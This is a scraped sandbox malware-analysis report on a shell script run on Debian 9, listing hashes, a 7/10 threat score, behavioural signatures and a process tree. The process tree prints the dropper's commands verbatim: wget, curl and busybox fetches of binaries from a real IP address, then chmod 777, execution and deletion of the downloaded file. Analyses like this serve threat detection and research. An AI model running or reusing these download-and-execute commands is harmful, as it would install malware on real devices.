Overview

overview

7

Static

static

1

db293e8cf4...5c2.sh

ubuntu-18.04-amd64

7

db293e8cf4...5c2.sh

debian-9-armhf

7

db293e8cf4...5c2.sh

debian-9-mips

7

db293e8cf4...5c2.sh

debian-9-mipsel

7

Analysis

  • max time kernel
    4s
  • max time network
    7s
  • platform
    debian-9_armhf
  • resource
    debian9-armhf-20240611-en
  • resource tags

    arch:armhfimage:debian9-armhf-20240611-enkernel:4.9.0-13-armmp-lpaelocale:en-usos:debian-9-armhfsystem
  • submitted
    01/11/2024, 05:56

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General

  • Target
    db293e8cf4110f8766c4a315a6bbb552736074defa9bd3b39e23240a621cd5c2.sh
  • Size 10KB
  • Sample241101-gm83psxflc
  • SHA256 db293e8cf4110f8766c4a315a6bbb552736074defa9bd3b39e23240a621cd5c2
  • MD5 SHA1 SHA512 SSDEEP
Score
7/10
antivmdefense_evasiondiscovery

Malware Config

Signatures

  • File and Directory Permissions Modification 1 TTPs 1 IoCs

    Adversaries may modify file or directory permissions to evade defenses.

    defense_evasion
  • Executes dropped EXE 1 IoCs
  • Checks CPU configuration 1 TTPs 1 IoCs

    Checks CPU information which indicate if the system is a virtual machine.

    antivm
  • Reads runtime system information 2 IoCs

    Reads data from /proc virtual filesystem.

    discovery
  • Writes file to tmp directory 1 IoCs

    Malware often drops required files in the /tmp directory.

Processes

  • /tmp/db293e8cf4110f8766c4a315a6bbb552736074defa9bd3b39e23240a621cd5c2.sh
    /tmp/db293e8cf4110f8766c4a315a6bbb552736074defa9bd3b39e23240a621cd5c2.sh
    1⤵
      PID:666
      • /bin/rm
        /bin/rm bins.sh
        2⤵
          PID:671
        • /usr/bin/wget
          wget http://87.120.84.230/bins/xq3pfowTRCtzRiF9v2xZO1xo0yFEphVgBc
          2⤵
            PID:674
          • /usr/bin/curl
            curl -O http://87.120.84.230/bins/xq3pfowTRCtzRiF9v2xZO1xo0yFEphVgBc
            2⤵
            • Checks CPU configuration
            • Reads runtime system information
            • Writes file to tmp directory
            PID:683
          • /bin/busybox
            /bin/busybox wget http://87.120.84.230/bins/xq3pfowTRCtzRiF9v2xZO1xo0yFEphVgBc
            2⤵
              PID:691
            • /bin/chmod
              chmod 777 xq3pfowTRCtzRiF9v2xZO1xo0yFEphVgBc
              2⤵
              • File and Directory Permissions Modification
              PID:694
            • /tmp/xq3pfowTRCtzRiF9v2xZO1xo0yFEphVgBc
              ./xq3pfowTRCtzRiF9v2xZO1xo0yFEphVgBc
              2⤵
              • Executes dropped EXE
              PID:695
            • /bin/rm
              rm xq3pfowTRCtzRiF9v2xZO1xo0yFEphVgBc
              2⤵
                PID:697
              • /usr/bin/wget
                wget http://87.120.84.230/bins/ZcYbsw1pHQvEmJ1yLx4lrIt88ouIsSb33i
                2⤵
                  PID:698

              Network

                    MITRE ATT&CK Enterprise v15

                    Replay Monitor

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                    Downloads

                    xq3pfowTRCtzRiF9v2xZO1xo0yFEphVgBc
                    • Path /tmp/xq3pfowTRCtzRiF9v2xZO1xo0yFEphVgBc
                    • Size 153B
                    • SHA256 533a1ca5d6595793725bca7641d9461a0f00dd1732dded3e4281196f5dd21736
                    • MD5 SHA1 SHA512
                    Submit Download